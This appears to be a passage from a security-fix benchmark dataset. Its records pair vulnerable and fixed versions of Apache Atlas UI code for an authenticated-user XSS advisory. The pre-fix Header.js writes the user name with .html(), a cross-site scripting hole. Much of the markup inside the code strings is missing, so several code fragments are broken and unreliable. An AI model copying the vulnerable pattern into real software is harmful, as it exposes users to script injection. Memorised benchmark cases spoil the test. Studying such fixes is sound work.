= "javascript" +method = "fix_site" +parent = "e67cc199e61afc92f242cccd05e97a61e0791bd2" +path = "dashboardv2/public/js/views/site/Header.js" +post_fix = "], function(require, tmpl, CommonViewFunction, Globals, Utils, UrlLinks, VDownloadList) {\n 'use strict';\n\n var Header = Marionette.LayoutView.extend({\n template: tmpl,\n regions: {\n RDownloadSearchResult: \"[data-id='r_DownloadSearchResult']\"\n },\n templateHelpers: function() {\n return {\n glossaryImportTempUrl: UrlLinks.glossaryImportTempUrl(),\n businessMetadataImportTempUrl: UrlLinks.businessMetadataImportTempUrl(),\n apiDocUrl: UrlLinks.apiDocUrl(),\n isDebugMetricsEnabled: Globals.isDebugMetricsEnabled\n };\n },\n ui: {\n backButton: \"[data-id='backButton']\",\n menuHamburger: \"[data-id='menuHamburger']\",\n globalSearch: \"[data-id='globalSearch']\",\n clearGlobalSearch: \"[data-id='clearGlobalSearch']\",\n signOut: \"[data-id='signOut']\",\n administrator: \"[data-id='administrator']\",\n showDebug: \"[data-id='showDebug']\",\n reactUISwitch: \"[data-id='reactUISwitch']\",\n glossaryImport: \"[data-id='glossaryImport']\",\n businessMetadataImport: \"[data-id='businessMetadataImport']\",\n showDownloads: \"[data-id='showDownloads']\"\n },\n events: function() {\n var events = {};\n events['click ' + this.ui.backButton] = function() {\n Utils.backButtonClick();\n };\n events['click ' + this.ui.clearGlobalSearch] = function() {\n this.ui.globalSearch.val(\"\");\n this.ui.globalSearch.autocomplete(\"search\");\n this.ui.clearGlobalSearch.removeClass(\"in\");\n };\n events['click ' + this.ui.menuHamburger] = function() {\n this.setSearchBoxWidth({\n updateWidth: function(atlasHeaderWidth) {\n return $('body').hasClass('full-screen') ? atlasHeaderWidth - 350 : atlasHeaderWidth + 350\n }\n });\n $('body').toggleClass(\"full-screen\");\n };\n events['click ' + this.ui.signOut] = function() {\n Utils.localStorage.setValue(\"last_ui_load\", \"v1\");\n var path = Utils.getBaseUrl(window.location.pathname);\n window.location = path + \"/logout.html\";\n };\n events[\"click \" + this.ui.reactUISwitch] = function() {\n var path = Utils.getBaseUrl(window.location.pathname) + \"/n3/index.html\";\n if (window.location.hash.length > 2) {\n path += window.location.hash;\n }\n window.location.href = path;\n };\n events['click ' + this.ui.administrator] = function() {\n Utils.setUrl({\n url: \"#!/administrator\",\n mergeBrowserUrl: false,\n trigger: true,\n updateTabState: true\n });\n };\n events['click ' + this.ui.glossaryImport] = function() {\n this.onClickImport(true);\n };\n events['click ' + this.ui.businessMetadataImport] = function() {\n this.onClickImport()\n };\n events['click ' + this.ui.showDebug] = function() {\n Utils.setUrl({\n url: \"#!/debugMetrics\",\n mergeBrowserUrl: false,\n trigger: true,\n updateTabState: true\n });\n };\n events['click ' + this.ui.showDownloads] = function(e) {\n this.exportVent.trigger(\"downloads:showDownloads\");\n };\n return events;\n },\n initialize: function(options) {\n _.extend(this, _.pick(options, 'exportVent'));\n this.bindEvent();\n this.options = options;\n },\n setSearchBoxWidth: function(options) {\n var atlasHeaderWidth = this.$el.find(\".atlas-header\").width(),\n minusWidth = (Utils.getUrlState.isDetailPage() || Utils.getUrlState.isRelationshipDetailPage() || Utils.getUrlState.isBSDetail()) ? 360 : 210;\n if (options && options.updateWidth) {\n atlasHeaderWidth = options.updateWidth(atlasHeaderWidth);\n }\n if (atlasHeaderWidth > minusWidth) {\n this.$el.find(\".global-search-container\").width(atlasHeaderWidth - minusWidth);\n }\n },\n bindEvent: function() {\n var that = this;\n $(window).resize(function() {\n that.setSearchBoxWidth();\n });\n },\n onRender: function() {\n var that = this;\n if (Globals.userLogedIn.status) {\n that.$('.userName').text(Globals.userLogedIn.response.userName);\n }\n this.initializeGlobalSearch();\n this.renderDownloadSearchResultview();\n },\n onShow: function() {\n this.setSearchBoxWidth();\n },\n onBeforeDestroy: function() {\n this.ui.globalSearch.atlasAutoComplete(\"destroy\");\n },\n manualRender: function() {\n this.setSearchBoxWidth();\n },\n fetchSearchData: function(options) {\n var that = this,\n request = options.request,\n response = options.response,\n inputEl = options.inputEl,\n term = request.term,\n data = {},\n sendResponse = function() {\n var query = data.query,\n suggestions = data.suggestions;\n if (query !== undefined && suggestions !== undefined) {\n inputEl.siblings('span.fa-refresh').removeClass(\"fa-refresh fa-spin-custom\").addClass(\"fa-search\");\n response(data);\n }\n };\n $.ajax({\n url: UrlLinks.searchApiUrl('quick'),\n contentType: 'application/json',\n data: {\n \"query\": term,\n \"limit\": 5,\n \"offset\": 0\n },\n cache: true,\n success: function(response) {\n var rData = response.searchResults.entities || [];\n data.query = { category: \"entities\", data: rData, order: 1 };\n sendResponse();\n }\n });\n\n $.ajax({\n url: UrlLinks.searchApiUrl('suggestions'),\n contentType: 'application/json',\n data: {\n \"prefixString\": term\n },\n cache: true,\n success: function(response) {\n var rData = response.suggestions || [];\n data.suggestions = { category: \"suggestions\", data: rData, order: 2 };\n sendResponse();\n }\n });\n },\n getSearchString: function(str) {\n if (str && str.length) {\n return (str.match(/[+\\-&|!(){}[\\]^\"~*?:/]/g) === null ? (str + \"*\") : str);\n } else {\n return str;\n }\n },\n triggerBuasicSearch: function(query) {\n Utils.setUrl({\n url: '#!/search/searchResult?query=' + encodeURIComponent(query) + '&searchType=basic',\n mergeBrowserUrl: false,\n trigger: true,\n updateTabState: true\n });\n },\n initializeGlobalSearch: function() {\n var that = this;\n this.ui.globalSearch.atlasAutoComplete({\n minLength: 1,\n autoFocus: false,\n search: function() {\n $(this).siblings('span.fa-search').removeClass(\"fa-search\").addClass(\"fa-refresh fa-spin-custom\");\n },\n select: function(event, ui) {\n var item = ui && ui.item;\n event.preventDefault();\n event.stopPropagation();\n var $el = $(this);\n if (_.isString(item)) {\n $el.val(item);\n $el.data(\"valSelected\", true);\n that.triggerBuasicSearch(item);\n } else if (_.isObject(item) && item.guid) {\n Utils.setUrl({\n url: '#!/detailPage/' + item.guid,\n mergeBrowserUrl: false,\n trigger: true\n });\n }\n $el.blur();\n return true;\n },\n source: function(request, response) {\n that.fetchSearchData({\n request: request,\n response: response,\n inputEl: this.element\n });\n }\n }).focus(function() {\n $(this).atlasAutoComplete(\"search\");\n }).keyup(function(event) {\n if ($(this).val().trim() === \"\") {\n that.ui.clearGlobalSearch.removeClass(\"in\");\n } else {\n that.ui.clearGlobalSearch.addClass(\"in\");\n if (event.keyCode == 13) {\n if ($(this).data(\"valSelected\") !== true) {\n that.triggerBuasicSearch($(this).val());\n } else {\n $(this).data(\"valSelected\", false);\n }\n }\n }\n }).atlasAutoComplete(\"instance\")._renderItem = function(ul, searchItem) {\n if (searchItem) {\n var data = searchItem.data,\n searchTerm = this.term,\n getHighlightedTerm = function(resultStr) {\n try {\n return resultStr.replace(new RegExp(searchTerm, \"gi\"), function(foundStr) {\n return \"\" + foundStr + \"\";\n });\n } catch (error) {\n return resultStr;\n }\n }\n if (data) {\n if (data.length == 0) {\n return $(\"
  • \")\n .append(\"No \" + searchItem.category + \" found\")\n .appendTo(ul);\n } else {\n var items = [];\n _.each(data, function(item) {\n var li = null;\n if (_.isObject(item)) {\n item.itemText = Utils.getName(item) + \" (\" + item.typeName + \")\";\n var options = {},\n table = '';\n if (item.serviceType === undefined) {\n if (Globals.serviceTypeMap[item.typeName] === undefined && that.entityDefCollection) {\n var defObj = that.entityDefCollection.fullCollection.find({ name: item.typeName });\n if (defObj) {\n Globals.serviceTypeMap[item.typeName] = defObj.get(\"serviceType\");\n }\n }\n } else if (Globals.serviceTypeMap[item.typeName] === undefined) {\n Globals.serviceTypeMap[item.typeName] = item.serviceType;\n }\n item.serviceType = Globals.serviceTypeMap[item.typeName];\n options.entityData = item;\n var img = $('').on(\"error\", function(error, s) {\n this.src = Utils.getEntityIconPath(_.extend(options, { errorUrl: this.src }));\n });\n var span = $(\"\" + (getHighlightedTerm(item.itemText)) + \"\")\n .prepend(img);\n li = $(\"
  • \")\n .append(span);\n } else {\n li = $(\"
  • \")\n .append(\"\" + (getHighlightedTerm(_.escape(item))) + \"\");\n }\n li.data(\"ui-autocomplete-item\", item);\n if (searchItem.category) {\n items.push(li.attr(\"aria-label\", searchItem.category + \" : \" + (_.isObject(item) ? item.itemText : item)));\n }\n });\n return ul.append(items);\n }\n }\n }\n };\n },\n onClickImport: function(isGlossary) {\n var that = this;\n require([\n 'views/import/ImportLayoutView'\n ], function(ImportLayoutView) {\n var view = new ImportLayoutView({\n callback: function() {\n if (that.options.importVent) {\n if (isGlossary) {\n that.options.importVent.trigger(\"Import:Glossary:Update\");\n } else {\n that.options.importVent.trigger(\"Import:BM:Update\");\n }\n }\n },\n isGlossary: isGlossary\n });\n });\n },\n renderDownloadSearchResultview: function() {\n var that = this;\n require(['views/site/DownloadSearchResultLayoutView'], function(DownloadSearchResultLayoutView) {\n that.RDownloadSearchResult.show(new DownloadSearchResultLayoutView(that.options));\n });\n }\n });\n return Header;\n});" +pre_fix = "], function(require, tmpl, CommonViewFunction, Globals, Utils, UrlLinks, VDownloadList) {\n 'use strict';\n\n var Header = Marionette.LayoutView.extend({\n template: tmpl,\n regions: {\n RDownloadSearchResult: \"[data-id='r_DownloadSearchResult']\"\n },\n templateHelpers: function() {\n return {\n glossaryImportTempUrl: UrlLinks.glossaryImportTempUrl(),\n businessMetadataImportTempUrl: UrlLinks.businessMetadataImportTempUrl(),\n apiDocUrl: UrlLinks.apiDocUrl(),\n isDebugMetricsEnabled: Globals.isDebugMetricsEnabled\n };\n },\n ui: {\n backButton: \"[data-id='backButton']\",\n menuHamburger: \"[data-id='menuHamburger']\",\n globalSearch: \"[data-id='globalSearch']\",\n clearGlobalSearch: \"[data-id='clearGlobalSearch']\",\n signOut: \"[data-id='signOut']\",\n administrator: \"[data-id='administrator']\",\n showDebug: \"[data-id='showDebug']\",\n reactUISwitch: \"[data-id='reactUISwitch']\",\n glossaryImport: \"[data-id='glossaryImport']\",\n businessMetadataImport: \"[data-id='businessMetadataImport']\",\n showDownloads: \"[data-id='showDownloads']\"\n },\n events: function() {\n var events = {};\n events['click ' + this.ui.backButton] = function() {\n Utils.backButtonClick();\n };\n events['click ' + this.ui.clearGlobalSearch] = function() {\n this.ui.globalSearch.val(\"\");\n this.ui.globalSearch.autocomplete(\"search\");\n this.ui.clearGlobalSearch.removeClass(\"in\");\n };\n events['click ' + this.ui.menuHamburger] = function() {\n this.setSearchBoxWidth({\n updateWidth: function(atlasHeaderWidth) {\n return $('body').hasClass('full-screen') ? atlasHeaderWidth - 350 : atlasHeaderWidth + 350\n }\n });\n $('body').toggleClass(\"full-screen\");\n };\n events['click ' + this.ui.signOut] = function() {\n Utils.localStorage.setValue(\"last_ui_load\", \"v1\");\n var path = Utils.getBaseUrl(window.location.pathname);\n window.location = path + \"/logout.html\";\n };\n events[\"click \" + this.ui.reactUISwitch] = function() {\n var path = Utils.getBaseUrl(window.location.pathname) + \"/n3/index.html\";\n if (window.location.hash.length > 2) {\n path += window.location.hash;\n }\n window.location.href = path;\n };\n events['click ' + this.ui.administrator] = function() {\n Utils.setUrl({\n url: \"#!/administrator\",\n mergeBrowserUrl: false,\n trigger: true,\n updateTabState: true\n });\n };\n events['click ' + this.ui.glossaryImport] = function() {\n this.onClickImport(true);\n };\n events['click ' + this.ui.businessMetadataImport] = function() {\n this.onClickImport()\n };\n events['click ' + this.ui.showDebug] = function() {\n Utils.setUrl({\n url: \"#!/debugMetrics\",\n mergeBrowserUrl: false,\n trigger: true,\n updateTabState: true\n });\n };\n events['click ' + this.ui.showDownloads] = function(e) {\n this.exportVent.trigger(\"downloads:showDownloads\");\n };\n return events;\n },\n initialize: function(options) {\n _.extend(this, _.pick(options, 'exportVent'));\n this.bindEvent();\n this.options = options;\n },\n setSearchBoxWidth: function(options) {\n var atlasHeaderWidth = this.$el.find(\".atlas-header\").width(),\n minusWidth = (Utils.getUrlState.isDetailPage() || Utils.getUrlState.isRelationshipDetailPage() || Utils.getUrlState.isBSDetail()) ? 360 : 210;\n if (options && options.updateWidth) {\n atlasHeaderWidth = options.updateWidth(atlasHeaderWidth);\n }\n if (atlasHeaderWidth > minusWidth) {\n this.$el.find(\".global-search-container\").width(atlasHeaderWidth - minusWidth);\n }\n },\n bindEvent: function() {\n var that = this;\n $(window).resize(function() {\n that.setSearchBoxWidth();\n });\n },\n onRender: function() {\n var that = this;\n if (Globals.userLogedIn.status) {\n that.$('.userName').html(Globals.userLogedIn.response.userName);\n }\n this.initializeGlobalSearch();\n this.renderDownloadSearchResultview();\n },\n onShow: function() {\n this.setSearchBoxWidth();\n },\n onBeforeDestroy: function() {\n this.ui.globalSearch.atlasAutoComplete(\"destroy\");\n },\n manualRender: function() {\n this.setSearchBoxWidth();\n },\n fetchSearchData: function(options) {\n var that = this,\n request = options.request,\n response = options.response,\n inputEl = options.inputEl,\n term = request.term,\n data = {},\n sendResponse = function() {\n var query = data.query,\n suggestions = data.suggestions;\n if (query !== undefined && suggestions !== undefined) {\n inputEl.siblings('span.fa-refresh').removeClass(\"fa-refresh fa-spin-custom\").addClass(\"fa-search\");\n response(data);\n }\n };\n $.ajax({\n url: UrlLinks.searchApiUrl('quick'),\n contentType: 'application/json',\n data: {\n \"query\": term,\n \"limit\": 5,\n \"offset\": 0\n },\n cache: true,\n success: function(response) {\n var rData = response.searchResults.entities || [];\n data.query = { category: \"entities\", data: rData, order: 1 };\n sendResponse();\n }\n });\n\n $.ajax({\n url: UrlLinks.searchApiUrl('suggestions'),\n contentType: 'application/json',\n data: {\n \"prefixString\": term\n },\n cache: true,\n success: function(response) {\n var rData = response.suggestions || [];\n data.suggestions = { category: \"suggestions\", data: rData, order: 2 };\n sendResponse();\n }\n });\n },\n getSearchString: function(str) {\n if (str && str.length) {\n return (str.match(/[+\\-&|!(){}[\\]^\"~*?:/]/g) === null ? (str + \"*\") : str);\n } else {\n return str;\n }\n },\n triggerBuasicSearch: function(query) {\n Utils.setUrl({\n url: '#!/search/searchResult?query=' + encodeURIComponent(query) + '&searchType=basic',\n mergeBrowserUrl: false,\n trigger: true,\n updateTabState: true\n });\n },\n initializeGlobalSearch: function() {\n var that = this;\n this.ui.globalSearch.atlasAutoComplete({\n minLength: 1,\n autoFocus: false,\n search: function() {\n $(this).siblings('span.fa-search').removeClass(\"fa-search\").addClass(\"fa-refresh fa-spin-custom\");\n },\n select: function(event, ui) {\n var item = ui && ui.item;\n event.preventDefault();\n event.stopPropagation();\n var $el = $(this);\n if (_.isString(item)) {\n $el.val(item);\n $el.data(\"valSelected\", true);\n that.triggerBuasicSearch(item);\n } else if (_.isObject(item) && item.guid) {\n Utils.setUrl({\n url: '#!/detailPage/' + item.guid,\n mergeBrowserUrl: false,\n trigger: true\n });\n }\n $el.blur();\n return true;\n },\n source: function(request, response) {\n that.fetchSearchData({\n request: request,\n response: response,\n inputEl: this.element\n });\n }\n }).focus(function() {\n $(this).atlasAutoComplete(\"search\");\n }).keyup(function(event) {\n if ($(this).val().trim() === \"\") {\n that.ui.clearGlobalSearch.removeClass(\"in\");\n } else {\n that.ui.clearGlobalSearch.addClass(\"in\");\n if (event.keyCode == 13) {\n if ($(this).data(\"valSelected\") !== true) {\n that.triggerBuasicSearch($(this).val());\n } else {\n $(this).data(\"valSelected\", false);\n }\n }\n }\n }).atlasAutoComplete(\"instance\")._renderItem = function(ul, searchItem) {\n if (searchItem) {\n var data = searchItem.data,\n searchTerm = this.term,\n getHighlightedTerm = function(resultStr) {\n try {\n return resultStr.replace(new RegExp(searchTerm, \"gi\"), function(foundStr) {\n return \"\" + foundStr + \"\";\n });\n } catch (error) {\n return resultStr;\n }\n }\n if (data) {\n if (data.length == 0) {\n return $(\"
  • \")\n .append(\"No \" + searchItem.category + \" found\")\n .appendTo(ul);\n } else {\n var items = [];\n _.each(data, function(item) {\n var li = null;\n if (_.isObject(item)) {\n item.itemText = Utils.getName(item) + \" (\" + item.typeName + \")\";\n var options = {},\n table = '';\n if (item.serviceType === undefined) {\n if (Globals.serviceTypeMap[item.typeName] === undefined && that.entityDefCollection) {\n var defObj = that.entityDefCollection.fullCollection.find({ name: item.typeName });\n if (defObj) {\n Globals.serviceTypeMap[item.typeName] = defObj.get(\"serviceType\");\n }\n }\n } else if (Globals.serviceTypeMap[item.typeName] === undefined) {\n Globals.serviceTypeMap[item.typeName] = item.serviceType;\n }\n item.serviceType = Globals.serviceTypeMap[item.typeName];\n options.entityData = item;\n var img = $('').on(\"error\", function(error, s) {\n this.src = Utils.getEntityIconPath(_.extend(options, { errorUrl: this.src }));\n });\n var span = $(\"\" + (getHighlightedTerm(item.itemText)) + \"\")\n .prepend(img);\n li = $(\"
  • \")\n .append(span);\n } else {\n li = $(\"
  • \")\n .append(\"\" + (getHighlightedTerm(_.escape(item))) + \"\");\n }\n li.data(\"ui-autocomplete-item\", item);\n if (searchItem.category) {\n items.push(li.attr(\"aria-label\", searchItem.category + \" : \" + (_.isObject(item) ? item.itemText : item)));\n }\n });\n return ul.append(items);\n }\n }\n }\n };\n },\n onClickImport: function(isGlossary) {\n var that = this;\n require([\n 'views/import/ImportLayoutView'\n ], function(ImportLayoutView) {\n var view = new ImportLayoutView({\n callback: function() {\n if (that.options.importVent) {\n if (isGlossary) {\n that.options.importVent.trigger(\"Import:Glossary:Update\");\n } else {\n that.options.importVent.trigger(\"Import:BM:Update\");\n }\n }\n },\n isGlossary: isGlossary\n });\n });\n },\n renderDownloadSearchResultview: function() {\n var that = this;\n require(['views/site/DownloadSearchResultLayoutView'], function(DownloadSearchResultLayoutView) {\n that.RDownloadSearchResult.show(new DownloadSearchResultLayoutView(that.options));\n });\n }\n });\n return Header;\n});" +repo = "apache/atlas" +url = "https://github.com/apache/atlas.git" + +[[case]] +advisory = "GHSA-v73p-f52r-fmmr" +advisory_text = "Apache Atlas UI: Authenticated User XSS\n\nAn authenticated user can perform XSS.\n\nThis issue affects Apache Atlas versions 2.4.0 and earlier.\n\nUsers are recommended to upgrade to version 2.5.0, which fixes the issue." +commit = "800f979307d6ea0f0b6563ec890f6b728022e497" +cwe = "CWE-80" +family = "output_encoding" +function = "clearQueryAttr" +function_lines = [[97, 503]] +id = "apache-atlas-4c582bc549c555a1" +language = "typescript" +method = "fix_site" +parent = "e67cc199e61afc92f242cccd05e97a61e0791bd2" +path = "dashboard/src/components/FilterQuery.tsx" +post_fix = " const clearQueryAttr = (e: any) => {\n const searchParams = new URLSearchParams(location.search);\n const currentType: any = e?.target\n ?.closest(\"[data-type]\")\n ?.getAttribute(\"data-type\");\n\n if (currentType == \"term\") {\n searchParams.delete(\"gtype\");\n searchParams.delete(\"viewType\");\n searchParams.delete(\"guid\");\n }\n\n if (currentType === \"type\") {\n searchParams.delete(\"entityFilters\");\n globalSearchFilterInitialQuery.setQuery({ entityFilters: [] });\n }\n if (currentType === \"tag\") {\n searchParams.delete(\"tagFilters\");\n globalSearchFilterInitialQuery.setQuery({ tagFilters: [] });\n }\n if (currentType === \"relationshipName\") {\n searchParams.delete(\"relationshipFilters\");\n globalSearchFilterInitialQuery.setQuery({ relationshipFilters: [] });\n }\n if (\n currentType === \"entityFilters\" ||\n currentType === \"tagFilters\" ||\n currentType === \"relationshipFilters\"\n ) {\n globalSearchFilterInitialQuery.setQuery({ [currentType]: [] });\n }\n\n searchParams.delete(currentType);\n\n // Check if there are any meaningful filters left after removal\n const meaningfulFilterParams = [\n \"type\",\n \"tag\",\n \"query\",\n \"term\",\n \"relationshipName\",\n \"entityFilters\",\n \"tagFilters\",\n \"relationshipFilters\",\n \"excludeST\",\n \"excludeSC\",\n \"includeDE\"\n ];\n\n const hasMeaningfulFilters = meaningfulFilterParams.some((param) =>\n searchParams.has(param)\n );\n\n // If no meaningful filters remain, navigate to clear all (like Clear button)\n if (!hasMeaningfulFilters) {\n navigate({\n pathname: \"/search\"\n });\n } else if ([...searchParams]?.length <= 1) {\n // Only searchType or other system params remain\n navigate({\n pathname: \"/search\"\n });\n } else {\n navigate({\n pathname: \"/search/searchResult\",\n search: searchParams.toString()\n });\n }\n };\n\n if (value.type) {\n let typeKeyValue = (\n \n \n \n Type:\n \n {value.type}\n \n \n }\n onDelete={(e) => {\n clearQueryAttr(e);\n }}\n size=\"small\"\n variant=\"outlined\"\n clickable\n />\n );\n let entityFilters: any = attributeFilter.extractUrl({\n value: value.entityFilters,\n formatDate: true\n });\n if (entityFilters) {\n const conditionForEntity =\n entityFilters?.rules?.length === 1 ? \"\" : \"AND\";\n typeKeyValue = (\n <>\n {typeKeyValue}\n\n \n {conditionForEntity}\n \n <>\n {\"(\"}\n \n {entityFilters.condition}\n \n {\"(\"}\n {objToString(entityFilters, \"entityFilters\")}\n {\")\"}\n {\")\"}\n \n \n );\n }\n\n queryArray.push(\n \n {typeKeyValue}\n \n );\n }\n\n // Handle Tag filters\n if (value.tag) {\n let tagKeyValue = (\n \n \n Classification: \n {value.tag}\n \n \n }\n onDelete={(e) => {\n clearQueryAttr(e);\n }}\n size=\"small\"\n variant=\"outlined\"\n clickable\n />\n );\n let tagFilters: any = attributeFilter.extractUrl({\n value: value.tagFilters,\n formatDate: true\n });\n if (tagFilters) {\n const conditionForTag = tagFilters?.rules?.length === 1 ? \"\" : \"AND\";\n\n tagKeyValue = (\n <>\n {tagKeyValue}\n \n {conditionForTag}\n \n <>\n {\"(\"}\n \n {tagFilters.condition}\n \n {\"(\"}\n {objToString(tagFilters, \"tagFilters\")}\n {\")\"}\n {\")\"}\n \n \n );\n }\n queryArray.push(\n \n {tagKeyValue}\n \n );\n }\n\n // Handle Relationship filters\n if (value.relationshipName) {\n let relationshipKeyValue: any = (\n \n \n Relationship: \n \n {value.relationshipName}\n \n \n \n }\n onDelete={(e) => {\n clearQueryAttr(e);\n }}\n size=\"small\"\n variant=\"outlined\"\n clickable\n />\n );\n let relationshipFilters: any = attributeFilter.extractUrl({\n value: value.relationshipFilters,\n formatDate: true\n });\n\n if (value.relationshipFilters) {\n const conditionForRelationship: any =\n value.relationshipFilters.rules &&\n value?.relationshipFilters?.rules?.length === 1\n ? \"\"\n : \"AND\";\n relationshipKeyValue = (\n <>\n {relationshipKeyValue}\n\n \n {conditionForRelationship}\n \n <>\n {\"(\"}\n \n {relationshipFilters.condition}\n \n {\"(\"}\n {objToString(relationshipFilters, \"relationshipFilters\")}\n {\")\"}\n {\")\"}\n \n \n );\n }\n\n queryArray.push(\n \n {relationshipKeyValue}\n \n );\n }\n\n // Handle Term filter\n if (value.term) {\n let termKeyValue = (\n \n \n Term: \n {value.term}\n \n \n }\n onDelete={(e) => {\n clearQueryAttr(e);\n }}\n size=\"small\"\n variant=\"outlined\"\n clickable\n />\n );\n\n queryArray.push(
    {termKeyValue}
    );\n }\n\n // Handle Query filter\n if (value.query) {\n let queryKeyValue = (\n \n \n Query: \n \n {value.query.trim()}\n \n \n \n }\n onDelete={(e) => {\n clearQueryAttr(e);\n }}\n size=\"small\"\n variant=\"outlined\"\n clickable\n />\n );\n\n queryArray.push(
    {queryKeyValue}
    );\n }\n\n // Handle Exclude ST filter\n if (value.excludeST) {\n let queryExcludeST = (\n \n \n Exclude sub-types: \n {value.excludeST}\n \n \n }\n onDelete={(e) => {\n clearQueryAttr(e);\n }}\n size=\"small\"\n variant=\"outlined\"\n clickable\n />\n );\n\n queryArray.push(
    {queryExcludeST}
    );\n }\n\n // Handle Exclude SC filter\n if (value.excludeSC) {\n let queryExcludeSC = (\n \n \n \n Exclude sub-classifications:{\" \"}\n \n {value.excludeSC}\n \n \n }\n onDelete={(e) => {\n clearQueryAttr(e);\n }}\n size=\"small\"\n variant=\"outlined\"\n clickable\n />\n );\n\n queryArray.push(
    {queryExcludeSC}
    );\n }\n\n // Handle Include DE filter\n if (value.includeDE) {\n let queryIncludeDE = (\n \n \n \n Show historical entities:{\" \"}\n \n {value.includeDE}\n \n \n }\n onDelete={(e) => {\n clearQueryAttr(e);\n }}\n size=\"small\"\n variant=\"outlined\"\n clickable\n />\n );\n\n queryArray.push(
    {queryIncludeDE}
    );\n }\n\n // If no filters to display, return null (don't show empty parentheses)\n if (queryArray.length === 0) {\n return null;\n }\n\n return (\n <>\n {queryArray.length === 1 ? (\n <>{queryArray}\n ) : (\n <>\n (\n {queryArray.map((item, index) => (\n <>\n {index > 0 && (\n <>\n \n {\")\"} AND {\"(\"}\n \n \n )}\n {item}\n \n ))}\n )\n \n )}\n \n );\n};\n\nexport default FilterQuery;" +pre_fix = " const clearQueryAttr = (e: any) => {\n const searchParams = new URLSearchParams(location.search);\n const currentType: any = e?.target\n ?.closest(\"[data-type]\")\n ?.getAttribute(\"data-type\");\n\n if (currentType == \"term\") {\n searchParams.delete(\"gtype\");\n searchParams.delete(\"viewType\");\n searchParams.delete(\"guid\");\n }\n\n searchParams.delete(currentType);\n\n // Check if there are any meaningful filters left after removal\n const meaningfulFilterParams = [\n \"type\",\n \"tag\",\n \"query\",\n \"term\",\n \"relationshipName\",\n \"entityFilters\",\n \"tagFilters\",\n \"relationshipFilters\",\n \"excludeST\",\n \"excludeSC\",\n \"includeDE\"\n ];\n\n const hasMeaningfulFilters = meaningfulFilterParams.some((param) =>\n searchParams.has(param)\n );\n\n // If no meaningful filters remain, navigate to clear all (like Clear button)\n if (!hasMeaningfulFilters) {\n navigate({\n pathname: \"/search\"\n });\n } else if ([...searchParams]?.length <= 1) {\n // Only searchType or other system params remain\n navigate({\n pathname: \"/search\"\n });\n } else {\n navigate({\n pathname: \"/search/searchResult\",\n search: searchParams.toString()\n });\n }\n };\n\n if (value.type) {\n let typeKeyValue = (\n \n \n \n Type:\n \n {value.type}\n \n \n }\n onDelete={(e) => {\n clearQueryAttr(e);\n }}\n size=\"small\"\n variant=\"outlined\"\n clickable\n />\n );\n let entityFilters: any = attributeFilter.extractUrl({\n value: value.entityFilters,\n formatDate: true\n });\n if (entityFilters) {\n const conditionForEntity =\n entityFilters?.rules?.length === 1 ? \"\" : \"AND\";\n typeKeyValue = (\n <>\n {typeKeyValue}\n\n \n {conditionForEntity}\n \n <>\n {\"(\"}\n \n {entityFilters.condition}\n \n {\"(\"}\n {objToString(entityFilters, \"entityFilters\")}\n {\")\"}\n {\")\"}\n \n \n );\n }\n\n queryArray.push(\n \n {typeKeyValue}\n \n );\n }\n\n // Handle Tag filters\n if (value.tag) {\n let tagKeyValue = (\n \n \n Classification: \n {value.tag}\n \n \n }\n onDelete={(e) => {\n clearQueryAttr(e);\n }}\n size=\"small\"\n variant=\"outlined\"\n clickable\n />\n );\n let tagFilters: any = attributeFilter.extractUrl({\n value: value.tagFilters,\n formatDate: true\n });\n if (tagFilters) {\n const conditionForTag = tagFilters?.rules?.length === 1 ? \"\" : \"AND\";\n\n tagKeyValue = (\n <>\n {tagKeyValue}\n \n {conditionForTag}\n \n <>\n {\"(\"}\n \n {tagFilters.condition}\n \n {\"(\"}\n {objToString(tagFilters, \"tagFilters\")}\n {\")\"}\n {\")\"}\n \n \n );\n }\n queryArray.push(\n \n {tagKeyValue}\n \n );\n }\n\n // Handle Relationship filters\n if (value.relationshipName) {\n let relationshipKeyValue: any = (\n \n \n Relationship: \n \n {value.relationshipName}\n \n \n \n }\n onDelete={(e) => {\n clearQueryAttr(e);\n }}\n size=\"small\"\n variant=\"outlined\"\n clickable\n />\n );\n let relationshipFilters: any = attributeFilter.extractUrl({\n value: value.relationshipFilters,\n formatDate: true\n });\n\n if (value.relationshipFilters) {\n const conditionForRelationship: any =\n value.relationshipFilters.rules &&\n value?.relationshipFilters?.rules?.length === 1\n ? \"\"\n : \"AND\";\n relationshipKeyValue = (\n <>\n {relationshipKeyValue}\n\n \n {conditionForRelationship}\n \n <>\n {\"(\"}\n \n {relationshipFilters.condition}\n \n {\"(\"}\n {objToString(relationshipFilters, \"relationshipFilters\")}\n {\")\"}\n {\")\"}\n \n \n );\n }\n\n queryArray.push(\n \n {relationshipKeyValue}\n \n );\n }\n\n // Handle Term filter\n if (value.term) {\n let termKeyValue = (\n \n \n Term: \n {value.term}\n \n \n }\n onDelete={(e) => {\n clearQueryAttr(e);\n }}\n size=\"small\"\n variant=\"outlined\"\n clickable\n />\n );\n\n queryArray.push(
    {termKeyValue}
    );\n }\n\n // Handle Query filter\n if (value.query) {\n let queryKeyValue = (\n \n \n Query: \n \n {value.query.trim()}\n \n \n \n }\n onDelete={(e) => {\n clearQueryAttr(e);\n }}\n size=\"small\"\n variant=\"outlined\"\n clickable\n />\n );\n\n queryArray.push(
    {queryKeyValue}
    );\n }\n\n // Handle Exclude ST filter\n if (value.excludeST) {\n let queryExcludeST = (\n \n \n Exclude sub-types: \n {value.excludeST}\n \n \n }\n onDelete={(e) => {\n clearQueryAttr(e);\n }}\n size=\"small\"\n variant=\"outlined\"\n clickable\n />\n );\n\n queryArray.push(
    {queryExcludeST}
    );\n }\n\n // Handle Exclude SC filter\n if (value.excludeSC) {\n let queryExcludeSC = (\n \n \n \n Exclude sub-classifications:{\" \"}\n \n {value.excludeSC}\n \n \n }\n onDelete={(e) => {\n clearQueryAttr(e);\n }}\n size=\"small\"\n variant=\"outlined\"\n clickable\n />\n );\n\n queryArray.push(
    {queryExcludeSC}
    );\n }\n\n // Handle Include DE filter\n if (value.includeDE) {\n let queryIncludeDE = (\n \n \n \n Show historical entities:{\" \"}\n \n {value.includeDE}\n \n \n }\n onDelete={(e) => {\n clearQueryAttr(e);\n }}\n size=\"small\"\n variant=\"outlined\"\n clickable\n />\n );\n\n queryArray.push(
    {queryIncludeDE}
